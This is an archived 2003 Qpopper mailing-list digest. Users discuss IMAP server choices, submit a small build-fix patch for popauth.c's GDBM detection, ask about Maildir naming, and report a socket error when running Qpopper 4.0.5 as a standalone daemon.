> http://home.uchicago.edu/~dgc/sw/qpopper/
Happymail sounds great.
Any chance of upgrading this patch to the latest Qpopper 4.0.5 release?
> The biggest social cost to us was that the POP authentication failure
> caused Eudora to forget people's passwords, but since we encourage users
> not to make Eudora remember their passwords anyway, that was a failure
> we could easily live with.
Can you explain this a little more? I'm not sure I've run into anything
similar to this phenomenon ...
- Greg
Date: Thu, 13 Mar 2003 21:15:24 -0500
From: Chuck Yerkes <chuck+qpopper at yerkes dot com>
Subject: Re: Fwd: Re: Avoiding copy-to-.luser.pop-and-back-to-luser spool I/O overhead?
Quoting Kenneth Porter (shiva at sewingwitch dot com):
> --On Thursday, March 13, 2003 8:47 AM -0500 Alan Brown <alanb at digistar dot com>
> wrote:
>
> > Investigate installing courier-imap(+ssl+pop3) as a unified answer... :-)
>
> IIRC, Crispen says that Courier violates the IMAP standard. Is that still
> true?
The author tends to implement what he things IMAP *should* be.
Me? It's intereresting, it's young.
I use Cyrus, I've used Sendmail, Inc's server.
The Sendmail plus is that it's a pkg_add (or rpm) to install
and a couple minutes of config - I did it a lot, I can get
it running in 10 minutes.
It scales huge (100k isn't an issue if you don't use candy ass RAID).
The minus is that it costs and if you want Sieve, that costs more.
Cyrus doesn't scale quite as high, but it scales quite well.
But this is not qpopper, the topic of this list.
qpopper can scale to 100,000 users with the right hardware.
Earthlink used it at 3million over NFS with some mods to locking
and such.
Ban your shell users (it's a pop server, not a shell machine).
IMAP (iffy) and POP. That's it.
Date: Thu, 13 Mar 2003 21:37:00 -0500
From: "Mordechai T. Abzug" <morty at frakir dot org>
Subject: --without-gdbm [patch]
I'm upgrading qpopper 4.0.5. The system has GDBM installed, but I
don't want to use GDBM for backwards compatibility with an NDBM
popauth database.
Building with these options failed:
./configure --enable-apop=/etc/pop.auth --with-popuid=pop --without-gdbm && make
The problem was that in popauth.c, there is a test for HAVE_GDBM_H
instead of GDBM. I've patched it; patch included below.
- Morty
diff -rc orig/qpopper4.0.5/popper/popauth.c qpopper4.0.5/popper/popauth.c
*** orig/qpopper4.0.5/popper/popauth.c Wed Mar 12 21:06:38 2003
--- qpopper4.0.5/popper/popauth.c Thu Mar 13 18:38:57 2003
***************
*** 86,92 ****
# include <scram.h>
#endif /* SCRAM */
! #ifdef HAVE_GDBM_H
# include <gdbm.h>
#else /* no GDBM */
# ifdef HAVE_NDBM_H
--- 86,92 ----
# include <scram.h>
#endif /* SCRAM */
! #ifdef GDBM
# include <gdbm.h>
#else /* no GDBM */
# ifdef HAVE_NDBM_H
Subject: Re: Avoiding copy-to-.luser.pop-and-back-to-luser spool I/O overhead?
Date: Fri, 14 Mar 2003 11:14:39 +0100 (MET)
From: Eric Luyten <Eric.Luyten at vub.ac dot be>
[Maildir]
> Beauty of this is that checking for new mail is just a directory
> scan. Deleting a message is just an unlink() call. Message
> attributes are part of the filename, so the message file doesn't need
> to be rewritten all the time. In fact, messages files are never read
> or written, except to show their contents to the user.
Care to enlighten us on your filename structure ?
It's definitely not stock Maildir, is it ?
What IMAP search capabilities would you be able to
satisfy, using only these meta-data ?
Eric.
From: Carles Xavier Munyoz =?iso-8859-1?q?Baldó?= <carles at descom dot es>
Subject: QPopper 4.0.5 engage problem.
Date: Fri, 14 Mar 2003 12:24:50 +0100
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
Hi,
I have successfully compiled the new QPopper 4.0.5 version in my UNIX_SV
SCO
computer, like I did before with the 4.0.4 version.
The problem I have is that when I try to run it as a stand alone daemon I
get
the error:
=2E/popper -t trace.txt -F -R -S -s
[...]
ar 14 12:20:37.323 2003 [6384] Trace and Debug destination is file "trace
=2Etxt"
[pop_init.c:888]
Mar 14 12:20:37.323 2003
Mar 14 12:20:37.323 2003 [6384] set fast-update [pop_init.c:762]
Mar 14 12:20:37.323 2003
Mar 14 12:20:37.323 2003 [6384] Avoiding reverse lookups (-R) [pop_init.c
:853]
Mar 14 12:20:37.323 2003
Mar 14 12:20:37.323 2003 [6384] server mode is the default (-S)
[pop_init.c:863]
Mar 14 12:20:37.323 2003
Mar 14 12:20:37.333 2003 [6384] Will generate stats records (-s)
[pop_init.c:858]
Mar 14 12:20:37.333 2003
Mar 14 12:20:37.373 2003 [6384] Unable to obtain socket and address of cl
ient:
Socket operation on non-socket (95) [pop_init.c:1062]
Mar 14 12:20:37.373 2003
[...]
I have compiled and executed it the the same way I did with the 4.0.4 ver
sion.
What may be the problem ?
Greetings.
- ---
Carles Xavier Munyoz Baldó
carles at descom dot es
Descom Consulting
Telf: +34 965861024
Fax: +34 965861024
http://www.descom.es/
- ---
-----BEGIN PGP SIGNATURE-----
Version: PGP 6.5.8
iQA/AwUBPnG8AjvYAf7VZNaaEQLnfACfXnuye0qaP14ztLGYNDLVYq/KoeEAnjxS
go8LbGLPzHf7JZ4+ubNOP2Lp
=Mqy4
-----END PGP SIGNATURE-----
Last updated on 14 Mar 2003 by Pensive Mailing List Admin